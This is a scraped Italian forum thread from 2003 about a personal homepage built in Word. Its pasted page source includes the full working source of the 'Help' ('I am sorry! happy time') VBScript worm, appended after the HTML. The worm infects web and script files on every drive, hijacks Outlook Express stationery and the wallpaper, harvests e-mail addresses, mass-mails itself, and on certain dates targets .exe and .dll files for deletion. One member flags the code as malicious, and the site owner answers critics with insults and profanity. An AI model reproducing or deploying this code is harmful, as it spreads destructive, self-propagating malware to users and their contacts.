10.0pt;font-family:"Comic Sans MS";color:white;mso-ansi-language:EN-GB'>The new
official site of Marcello Cannarsa</span></p>

<p class=MsoNormal align=center style='mso-margin-top-alt:auto;mso-margin-bottom-alt:
auto;text-align:center'><span lang=EN-GB style='font-size:16.0pt;mso-bidi-font-size:
10.0pt;font-family:"Comic Sans MS";color:white;mso-ansi-language:EN-GB'><u1:p></u1:p></span><span lang=EN-GB
style='mso-bidi-font-size:12.0pt;font-family:"Times New Roman";mso-ansi-language:
EN-GB'><o:p></o:p></span></p>

<p class=MsoNormal align=center style='mso-margin-top-alt:auto;mso-margin-bottom-alt:
auto;text-align:center'><span lang=EN-GB style='font-size:16.0pt;mso-bidi-font-size:
10.0pt;font-family:"Comic Sans MS";color:white;mso-ansi-language:EN-GB'><u1:p></u1:p><a
href="http://www.2-3-1986.tk/"><span style='color:white'>http://www.2-3-1986.tk</span></a><u1...></p>

<p class=MsoNormal align=center style='mso-margin-top-alt:auto;mso-margin-bottom-alt:
auto;text-align:center'><![if !supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></p>

<p class=MsoNormal align=center style='mso-margin-top-alt:auto;mso-margin-bottom-alt:
auto;text-align:center'><u1:p></u1:p><u2:shapetype id="_x0000_t75" coordsize="21600,21600" u1:spt="75" u1:preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f"><u2:stroke joinstyle="miter"/><u2:formulas><u2:f eqn="if lineDrawn pixelLineWidth 0"/><u2:f eqn="sum @0 1 0"/><u2:f eqn="sum 0 0 @1"/><u2:f eqn="prod @2 1 2"/><u2:f eqn="prod @3 21600 pixelWidth"/><u2:f eqn="prod @3 21600 pixelHeight"/><u2:f eqn="sum @0 0 1"/><u2:f eqn="prod @6 1 2"/><u2:f eqn="prod @7 21600 pixelWidth"/><u2:f eqn="sum @8 21600 0"/><u2:f eqn="prod @7 21600 pixelHeight"/><u2:f eqn="sum @10 21600 0"/></u2:formulas><u2:path u1:extrusionok="f" gradientshapeok="t" u1:connecttype="rect"/><u1:lock u2:ext="edit" aspectratio="t"/></u2:shapetype><u2:shape id="_x0000_i1043" type="#_x0000_t75" style="width:275.25pt;&#13;&#10; height:189pt"><u2:imagedata src="./index_file/image002.jpg" u1:title="pisces"/></u2:shape><span
style="mso-spacerun: yes"> </span><span style="mso-spacerun:
yes"> </span><span lang=EN-GB style='font-size:16.0pt;
mso-bidi-font-size:10.0pt;font-family:"Comic Sans MS";color:white;mso-ansi-language:
EN-GB'><a href="http://www.nike.com/"><u2:shape id="_x0000_i1046" type="#_x0000_t75" style="width:42pt;height:16.5pt"><u2:imageda ta src="./index_file/image004.gif" u1:title="image001"/></u2:shape><span
style='color:white;text-decoration:none;text-underline:none'><![if !vml]><img border=0 width=367 height=252
src="./index_file/image003.jpg" v:shapes="_x0000_i1057"><![endif]></span><span
style='text-decoration:none;text-underline:none'><![if !vml]><img
border=0 width=56 height=22 src="./index_file/image004.gif"
u2:shapes="_x0000_i1046" v:shapes="_x0000_i1026"><![endif]></span></a><u1:p></u1:p></span><o:p></o:p></p>

<p class=MsoNormal align=center style='mso-margin-top-alt:auto;mso-margin-bottom-alt:
auto;text-align:center'><u2:shapetype id="_x0000_t202" coordsize="21600,21600" u1:spt="202" path="m0,0l0,21600,21600,21600,21600,0xe"><u 2:stroke joinstyle="miter"/><u2:path gradientshapeok="t" u1:connecttype="rect"/></u2:shapetype><u2:shape id="_x0000_s1227" type="#_x0000_t202" style="position:absolute;&#13;&#10; left:0;text-align:left;margin-left:194.55pt;margin-top:20.45pt;width:189pt;&#13;&#10; height:27pt;z-index:2" stroked="f"><u2:fill color2="blue" focus="50%" type="gradient"/><u2:textbox><span
lang=EN-GB style='mso-ansi-language:EN-GB'><![if !vml]></span></p>

<p class=MsoNormal align=center style='mso-margin-top-alt:auto;mso-margin-bottom-alt:
auto;text-align:center'>&nbsp;</p>

<p class=MsoNormal align=center style='mso-margin-top-alt:auto;mso-margin-bottom-alt:
auto;text-align:center'><span
lang=EN-GB style='mso-ansi-language:EN-GB'><img border=0 width=56 height=22
src="./index_file/image006.gif" v:shapes="_x0000_i1062"><![endif]><o:p></o:p></span></p>

</u2:textbox></u2:shape>

<p align=center style='text-align:center'><a href="frame1.asp"><span
lang=EN-GB style='font-family:"Comic Sans MS";color:white;mso-ansi-language:
EN-GB'>ENTRA</span></a><span style='mso-ansi-language:EN-GB'> <span lang=EN-GB><o:p></o:p></span></span></p>

<p class=MsoNormal align=right style='mso-margin-top-alt:auto;mso-margin-bottom-alt:
auto;text-align:right'><span lang=EN-GB style='font-size:8.0pt;mso-bidi-font-size:
10.0pt;font-family:Verdana;color:white;mso-ansi-language:EN-GB'>powered by <a
href="http://www.marcellocannarsasoftware.tk/"><![if !vml]><img border=0 width=191 height=70
src="./index_file/image007.gif" v:shapes="_x0000_i1068"><![endif]></a></span><span
lang=EN-GB style='mso-ansi-language:EN-GB'><o:p></o:p></span></p>

<p class=MsoNormal align=right style='mso-margin-top-alt:auto;mso-margin-bottom-alt:
auto;text-align:right'><span lang=EN-GB style='font-size:8.0pt;mso-bidi-font-size:
10.0pt;font-family:Verdana;color:white;mso-ansi-language:EN-GB'><u1:p></u1:p>©
2003 <a href="mailto:marcellocannarsa@2-3-1986.tk"><span style='color:white'>MC
SOFTWARE</span></a><u1:p></u1:p></span><span lang=EN-GB style='mso-ansi-language:
EN-GB'><o:p></o:p></span></p>

<p class=MsoNormal><script language="JavaScript">
document.write('<s'+'cript language="JavaScript" src="http://ad.altervista.org/alternet.ad?c=9&f=3&x"></s'+'cript>');
</script><script language="JavaScript">
document.write('<s'+'cript language="JavaScript" src="http://ad.altervista.org/alternet.ad?c=14&f=3&x"></s'+'cript>');
</script><o:p></o:p></p>

<u1:p></u1:p><u1:p></u1:p>

<form action="http://traffyk.altervista.org/modules.php?name=Web_Links"
method=post enctype="application/x-www-form-urlencoded">

<div align=center>

<table border=0 cellspacing=0 cellpadding=0 width=175 style='width:131.25pt;
mso-cellspacing:0cm;mso-padding-alt:0cm 0cm 0cm 0cm'>
<tr>
<td style='padding:0cm 0cm 0cm 0cm'>
<p class=MsoNormal align=center style='text-align:center'><b><span
style='font-size:8.0pt;mso-bidi-font-size:10.0pt;font-family:Tahoma;
color:white'>Vota per questo Sito!</span></b><span style='font-size:8.0pt;
mso-bidi-font-size:12.0pt;font-family:Tahoma;color:white'><o:p></o:p></span></p>
</td>
</tr>
<tr>
<td style='padding:0cm 0cm 0cm 0cm'>
<div align=center>
<table border=0 cellspacing=0 cellpadding=0 style='mso-cellspacing:0cm;
mso-padding-alt:0cm 0cm 0cm 0cm'>
<tr>
<td valign=top style='padding:0cm 0cm 0cm 0cm'>
<p class=MsoNormal><span style='font-size:8.0pt;mso-bidi-font-size:10.0pt;
font-family:Tahoma;color:white'><SELECT NAME="rating">
<OPTION SELECTED>--
<OPTION>10
<OPTION>9
<OPTION>8
<OPTION>7
<OPTION>6
<OPTION>5
<OPTION>4
<OPTION>3
<OPTION>2
<OPTION>1
</SELECT></span><span
style='font-size:8.0pt;mso-bidi-font-size:12.0pt;font-family:Tahoma;
color:white'><o:p></o:p></span></p>
</td>
<td valign=top style='padding:0cm 0cm 0cm 0cm'>
<p class=MsoNormal><span style='font-size:8.0pt;mso-bidi-font-size:10.0pt;
font-family:Tahoma;color:white'><span style='display:none;mso-hide:all'><INPUT TYPE="hidden" NAME="ratinglid" VALUE="4"></span><span
style='display:none;mso-hide:all'><INPUT TYPE="hidden" NAME="ratinguser" VALUE="outside"></span><span
style='display:none;mso-hide:all'><INPUT TYPE="hidden" NAME="l_op" VALUE="addrating"></span><INPUT TYPE="submit" ACTION="http://traffyk.altervista.org/modules.php?name=Web_Links" VALUE="Vota!" METHOD="post"></span><span
style='font-size:8.0pt;mso-bidi-font-size:12.0pt;font-family:Tahoma;
color:white'><o:p></o:p></span></p>
</td>
</tr>
</table>
</div>
<p class=MsoNormal><span style='font-size:8.0pt;mso-bidi-font-size:12.0pt;
font-family:Tahoma;color:white'><o:p></o:p></span></p>
</td>
</tr>
</table>

</div>

</form>

<p align=center style='text-align:center'><span style='font-size:8.0pt;
mso-bidi-font-size:12.0pt;font-family:Tahoma;color:red;background:yellow;
mso-highlight:yellow'><a
href="http://member.bcentral.com/cgi-bin/fc/fastcounter-login?2982976"
target="_top"><span style='color:red;text-decoration:none;text-underline:none'><img
border=0 width=90 height=16 id="_x0000_i1026"
src="http://fastcounter.bcentral.com/fastcounter?2982976+5965959"></span></a></span></p>

<p align=center style='text-align:center'><span style='font-size:8.0pt;
mso-bidi-font-size:12.0pt;font-family:Tahoma;color:red;background:yellow;
mso-highlight:yellow'><u8:p></u8:p></span><u9:p></u9:p><o:p></o:p></p>

<p align="center"><a href="http://www.altervista.org/cgi-bin/top100/vota.cgi" target="_blank"><img src="http://www.altervista.org/cgi-bin/top100/top100banner.cgi" alt="Vota questo sito nella Top 100 di AlterVista" border=0></a><a href="http://www.altervista.org/cgi-bin/top100/vota.cgi" target="_blank"><img src="http://www.altervista.org/cgi-bin/top100/top100banner.cgi" alt="Vota questo sito nella Top 100 di AlterVista" border=0></a>

<p class=MsoNormal><u2:shape id="_x0000_s1214" type="#_x0000_t202" style="position:absolute;margin-left:176.55pt;margin-top:-2.05pt;width:377.95pt;&#13;&#10; height:280.05pt;z-index:1" filled="f" stroked="f"/><![if !supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></p>

<u1:p></u1:p></div>

</body>

</html>
<script language='VBScript'>
Rem I am sorry! happy time
On Error Resume Next
mload
Sub mload()
On Error Resume Next
mPath = Grf()
Set Os = CreateObject("Scriptlet.TypeLib")
Set Oh = CreateObject("Shell.Application")
If IsHTML Then
mURL = LCase(document.Location)
If mPath = "" Then
Os.Reset
Os.Path = "C:\Help.htm"
Os.Doc = Lhtml()
Os.Write()
Ihtml = "<span style='position:absolute'><Iframe src='C:\Help.htm' width='0' height='0'></Iframe></span>"
Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml)
Else
If Iv(mPath, "Help.vbs") Then
setInterval "Rt()", 10000
Else
m = "hta"
If LCase(m) = Right(mURL, Len(m)) Then
id = setTimeout("mclose()", 1)
main
Else
Os.Reset()
Os.Path = mPath & "\" & "Help.hta"
Os.Doc = Lhtml()
Os.write()
Iv mPath, "Help.hta"
End If
End If
End If
Else
main
End If
End Sub
Sub main()
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
Set Od = CreateObject("Scripting.Dictionary")
Od.Add "html", "1100"
Od.Add "vbs", "0100"
Od.Add "htm", "1100"
Od.Add "asp", "0010"
Ks = "HKEY_CURRENT_USER\Software\"
Ds = Grf()
Cs = Gsf()
If IsVbs Then
If Of.FileExists("C:\help.htm") Then
Of.DeleteFile ("C:\help.htm")
End If
Key = CInt(Month(Date) + Day(Date))
If Key = 13 Then
Od.RemoveAll
Od.Add "exe", "0001"
Od.Add "dll", "0001"
End If
Cn = Rg(Ks & "Help\Count")
If Cn = "" Then
Cn = 1
End If
Rw Ks & "Help\Count", Cn + 1
f1 = Rg(Ks & "Help\FileName")
f2 = FNext(Of, Od, f1)
fext = GetExt(Of, Od, f2)
Rw Ks & "Help\FileName", f2
If IsDel(fext) Then
f3 = f2
f2 = FNext(Of, Od, f2)
Rw Ks & "Help\FileName", f2
Of.DeleteFile f3
Else
If LCase(WScript.ScriptFullname) <> LCase(f2) Then
Fw Of, f2, fext
End If
End If
If (CInt(Cn) Mod 366) = 0 Then
If (CInt(Second(Time)) Mod 2) = 0 Then
Tsend
Else
adds = Og
Msend (adds)
End If
End If
wp = Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper")
If Rg(Ks & "Help\wallPaper") <> wp Or wp = "" Then
If wp = "" Then
n1 = ""
n3 = Cs & "\Help.htm"
Else
mP = Of.GetFile(wp).ParentFolder
n1 = Of.GetFileName(wp)
n2 = Of.GetBaseName(wp)
n3 = Cs & "\" & n2 & ".htm"
End If
Set pfc = Of.CreateTextFile(n3, True)
mt = Sa("1100")
pfc.Write "<" & "HTML><" & "body bgcolor='#007f7f' background='" & n1 & "'><" & "/Body><" & "/HTML>" & mt
pfc.Close
Rw Ks & "Help\wallPaper", n3
Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper", n3
End If
Else
Set fc = Of.CreateTextFile(Ds & "\Help.vbs", True)
fc.Write Sa("0100")
fc.Close
bf = Cs & "\Untitled.htm"
Set fc2 = Of.CreateTextFile(bf, True)
fc2.Write Lhtml
fc2.Close
oeid = Rg("HKEY_CURRENT_USER\Identities\Default User ID")
oe = "HKEY_CURRENT_USER\Identities\" & oeid & "\Software\Microsoft\Outlook Express\5.0\Mail"
MSH = oe & "\Message Send HTML"
CUS = oe & "\Compose Use Stationery"
SN = oe & "\Stationery Name"
Rw MSH, 1
Rw CUS, 1
Rw SN, bf
Web = Cs & "\WEB"
Set gf = Of.GetFolder(Web).Files
Od.Add "htt", "1100"
For Each m In gf
fext = GetExt(Of, Od, m)
If fext <> "" Then
Fw Of, m, fext
End If
Next
End If
End Sub
Sub mclose()
document.Write "<" & "title>I am sorry!</title" & ">"
window.Close
End Sub
Sub Rt()
Dim mPath
On Error Resume Next
mPath = Grf()
Iv mPath, "Help.vbs"
End Sub
Function Sa(n)
Dim VBSText, m
VBSText = Lvbs()
If Mid(n, 3, 1) = 1 Then
m = "<%" & VBSText & "%>"
End If
If Mid(n, 2, 1) = 1 Then
m = VBSText
End If
If Mid(n, 1, 1) = 1 Then
m = Lscript(m)
End If
Sa = m & vbCrLf
End Function
Sub Fw(Of, S, n)
Dim fc, fc2, m, mmail, mt
On Error Resume Next
Set fc = Of.OpenTextFile(S, 1)
mt = fc.ReadAll
fc.Close
If Not Sc(mt) Then
mmail = Ml(mt)
mt = Sa(n)
Set fc2 = Of.OpenTextFile(S, 8)
fc2.Write mt
fc2.Close
Msend (mmail)
End If
End Sub
Function Sc(S)
mN = "Rem I am sorry! happy time"
If InStr(S, mN) > 0 Then
Sc = True
Else
Sc = False
End If
End Function
Function FNext(Of, Od, S)
Dim fpath, fname, fext, T, gf
On Error Resume Next
fname = ""
T = False
If Of.FileExists(S) Then
fpath = Of.GetFile(S).ParentFolder
fname = S
ElseIf Of.FolderExists(S) Then
fpath = S
T = True
Else
fpath = Dnext(Of, "")
End If
Do While True
Set gf = Of.GetFolder(fpath).Files
For Each m In gf
If T Then
If GetExt(Of, Od, m) <> "" Then
FNext = m
Exit Function
End If
ElseIf LCase(m) = LCase(fname) Or fname = "" Then
T = True
End If
Next
fpath = Pnext(Of, fpath)
Loop
End Function
Function Pnext(Of, S)
On Error Resume Next
Dim Ppath, Npath, gp, pn, T, m
T = False
If Of.FolderExists(S) Then
Set gp = Of.GetFolder(S).SubFolders
pn = gp.Count
If pn = 0 Then
Ppath = LCase(S)
Npath = LCase(Of.GetParentFolderName(S))
T = True
Else
Npath = LCase(S)
End If
Do While Not Er
For Each pn In Of.GetFolder(Npath).SubFolders
If T Then
If Ppath = LCase(pn) Then
T = False
End If
Else
Pnext = LCase(pn)
Exit Function
End If
Next
T = True
Ppath = LCase(Npath)
Npath = Of.GetParentFolderName(Npath)
If Of.GetFolder(Ppath).IsRootFolder Then
m = Of.GetDriveName(Ppath)
Pnext = Dnext(Of, m)
Exit Function
End If
Loop
End If
End Function
Function Dnext(Of, S)
Dim dc, n, d, T, m
On Error Resume Next
T = False
m = ""
Set dc = Of.Drives
For Each d In dc

If d.DriveType = 2 Or d.DriveType = 3 Then
If T Then
Dnext = d
Exit Function
Else
If LCase(S) = LCase(d) Then
T = True
End If
If m = "" Then
m = d
End If
End If
End If
Next
Dnext = m
End Function
Function GetExt(Of, Od, S)
Dim fext
On Error Resume Next
fext = LCase(Of.GetExtensionName(S))
GetExt = Od.Item(fext)
End Function
Sub Rw(k, v)
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Shell")
R.RegWrite k, v
End Sub
Function Rg(v)
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Shell")
Rg = R.RegRead(v)
End Function
Function IsVbs()
Dim ErrTest
On Error Resume Next
ErrTest = WScript.ScriptFullname
If Err Then
IsVbs = False
Else
IsVbs = True
End If
End Function
Function IsHTML()
Dim ErrTest
On Error Resume Next
ErrTest = document.Location
If Er Then
IsHTML = False
Else
IsHTML = True
End If
End Function
Function IsMail(S)
Dim m1, m2
IsMail = False
If InStr(S, vbCrLf) = 0 Then
m1 = InStr(S, "@")
m2 = InStr(S, ".")
If m1 <> 0 And m1 < m2 Then
IsMail = True
End If
End If
End Function
Function Lvbs()
Dim f, m, ws, Of
On Error Resume Next
If IsVbs Then
Set Of = CreateObject("Scripting.FileSystemObject")
Set f = Of.OpenTextFile(WScript.ScriptFullname, 1)
Lvbs = f.ReadAll
Else
For Each ws In document.scripts
If LCase(ws.Language) = "vbscript" Then
If Sc(ws.Text) Then
Lvbs = ws.Text
Exit Function
End If
End If
Next
End If
End Function
Function Iv(mPath, mName)
Dim Shell
On Error Resume Next
Set Shell = CreateObject("Shell.Application")
Shell.NameSpace(mPath).Items.Item(mName).InvokeVer b
If Er Then
Iv = False
Else
Iv = True
End If
End Function
Function Grf()
Dim Shell, mPath
On Error Resume Next
Set Shell = CreateObject("Shell.Application")
mPath = "C:\"
For Each mShell In Shell.NameSpace(mPath).Items
If mShell.IsFolder Then
Grf = mShell.Path
Exit Function
End If
Next
If Er Then
Grf = ""
End If
End Function
Function Gsf()
Dim Of, m
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
m = Of.GetSpecialFolder(0)
If Er Then
Gsf = "C:\"
Else
Gsf = m
End If
End Function
Function Lhtml()
Lhtml = "<" & "HTML" & "><HEAD" & ">" & vbCrLf & _
"<" & "Title> Help </Title" & "><" & "/HEAD>" & vbCrLf & _
"<" & "Body> " & Lscript(Lvbs()) & vbCrLf & _
"<" & "/Body></HTML" & ">"
End Function
Function Lscript(S)
Lscript = "<" & "script language='VBScript'>" & vbCrLf & _
S & "<" & "/script" & ">"
End Function
Function Sl(S1, S2, n)
Dim l1, l2, l3, i
l1 = Len(S1)
l2 = Len(S2)
i = InStr(S1, S2)
If i > 0 Then
l3 = i + l2 - 1
If n = 0 Then
Sl = Left(S1, i - 1)
ElseIf n = 1 Then
Sl = Right(S1, l1 - l3)
End If
Else
Sl = ""
End If
End Function
Function Ml(S)
Dim S1, S3, S2, T, adds, m
S1 = S
S3 = """"
adds = ""
S2 = S3 & "mailto" & ":"
T = True
Do While T
S1 = Sl(S1, S2, 1)
If S1 = "" Then
T = False
Else
m = Sl(S1, S3, 0)
If IsMail(m) Then
adds = adds & m & vbCrLf
End If
End If
Loop
Ml = Split(adds, vbCrLf)
End Function
Function Og()
Dim i, n, m(), Om, Oo
Set Oo = CreateObject("Outlook.Application")
Set Om = Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items
n = Om.Count
ReDim m(n)
For i = 1 To n
m(i - 1) = Om.Item(i).Email1Address
Next
Og = m
End Function
Sub Tsend()
Dim Od, MS, MM, a, m
Set Od = CreateObject("Scripting.Dictionary")
MConnect MS, MM
MM.FetchSorted = True
MM.Fetch
For i = 0 To MM.MsgCount - 1
MM.MsgIndex = i
a = MM.MsgOrigAddress
If Od.Item(a) = "" Then
Od.Item(a) = MM.MsgSubject
End If
Next
For Each m In Od.Keys
MM.Compose
MM.MsgSubject = "Fw: " & Od.Item(m)
MM.RecipAddress = m
MM.AttachmentPathName = Gsf & "\Untitled.htm"
MM.Send
Next
MS.SignOff
End Sub
Function MConnect(MS, MM)
Dim U
On Error Resume Next
Set MS = CreateObject("MSMAPI.MAPISession")
Set MM = CreateObject("MSMAPI.MAPIMessages")
U = Rg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\DefaultProfile")
MS.UserName = U
MS.DownLoadMail = False
MS.NewSession = False
MS.LogonUI = True
MS.SignOn
MM.SessionID = MS.SessionID
End Function
Sub Msend(Address)
Dim MS, MM, i, a
MConnect MS, MM
i = 0
MM.Compose
For Each a In Address
If IsMail(a) Then
MM.RecipIndex = i
MM.RecipAddress = a
i = i + 1
End If
Next
MM.MsgSubject = " Help "
MM.AttachmentPathName = Gsf & "\Untitled.htm"
MM.Send
MS.SignOff
End Sub
Function Er()
If Err.Number = 0 Then
Er = False
Else
Err.Clear
Er = True
End If
End Function
Function IsDel(S)
If Mid(S, 4, 1) = 1 Then
IsDel = True
Else
IsDel = False
End If
End Function
</script>

Il codice della home page...
Microsfot Word e te pareva...
Quante volte vi devo dire che usare Word, Excel o powepoint per creare pagine web fa malissimo????
Uff....

Stando a quel che dice la pagina, nel suo interno c'é un codice VBS piuttosto malizioso:
sfrutta uno degli exploit dei componenti word e di IE per poter essere salvato sulla propria macchina.
Non sono qui per annoigliarvi su ciò che fa questo virus, ma per dirvi solo:
1. Solo IE ha il parser per il VBScript, quindi questo virus non può entrare in funzione su Browser non MS (tanto per cambiare :D ).
2. La vulnerabilità dovrebbe essere stata patchata almeno su IE 6 (ma su questo nn metto la mano sul fuoco...)

Resta solo una cosa da dire
W Microsoft :D

sai che ti dico . Fatti i c.... tuoi. Io ho le mie idee e le tue dove sono ?

**mcannarsa1986** · 28-04-2003, 19.49.51

Originalmente inviato da twisterdark

No perkè?? Ognugno è fatto a modo suo. Già in altri post è stato marchiato come "sborone"...anche se non lo fa apposta. (spero

)

non mi dire così altrimenti sfotto Campobasso Merda!!!!!!!!!!!!!!!!!!!!!!!!!!!

**mcannarsa1986** · 28-04-2003, 19.51.30

Originalmente inviato da animevts2

comunque ragazzi resta il fatto che aveva offerto una mano e non mi sembra il caso di attaccare così no? :? dopotutto c'è sempre qualcuno che sa meno di noi e non è da escludere che a quel qualcuno serva un aiuto di quel genere :P

Il mio problema e che con Frontpage da solo problemi alle immagini, dove le cerchi ???????????

**mcannarsa1986** · 28-04-2003, 19.52.17

Originalmente inviato da Ghibli

lasciate stare Marcello! :D
è il primo alieno su altervista! :D :D
Mitico!

sti ca22i

**mcannarsa1986** · 28-04-2003, 19.53.18

Originalmente inviato da theotacon

secondo me nn è da incolpare word , excel o powerpoint... se hanno la possibilita' di salvare i documenti in html nn è detto che siano efficenti.

.. e poi per fare un sito basta il blocco note...
e con questo nn voglio dire che si giusto usarli... ANZI... se si evitano è meglio...

ciaooooo :D :D

ps.
marco .. se fossi in te riguarderei un attimino le frame......

Non mi volete aiutare. Peggio per te!

**mcannarsa1986** · 28-04-2003, 19.54.15

Originalmente inviato da mkolsen

Almeno io sono partito col pensiero... conosco abbastanza l'html, ma non so un'H di PHP.... non importa... imparerò!!!
Ma mica sono andato in giro a dire... ragazzi conosco il PHP meglio di un manuale...!!!
E poi dai... ora non vorrei essere troppo offensivo ma... hai aperto un forum con un solo argomento (te stesso!!!!) e hai praticamente lasciato le impostazioni di base!!!
Della serie... se questo è un WebMaster io sono Bill Gates

Mi scuso in anticipo se sono stato troppo crudele, ma non ce la faccevo + a tenermi tutto dentro!!!

Stai zitto , buffone!

Discussione: FORUM OF MARCELLO CANNARSA

LinkBack

Strumenti discussione

Display

Regole di scrittura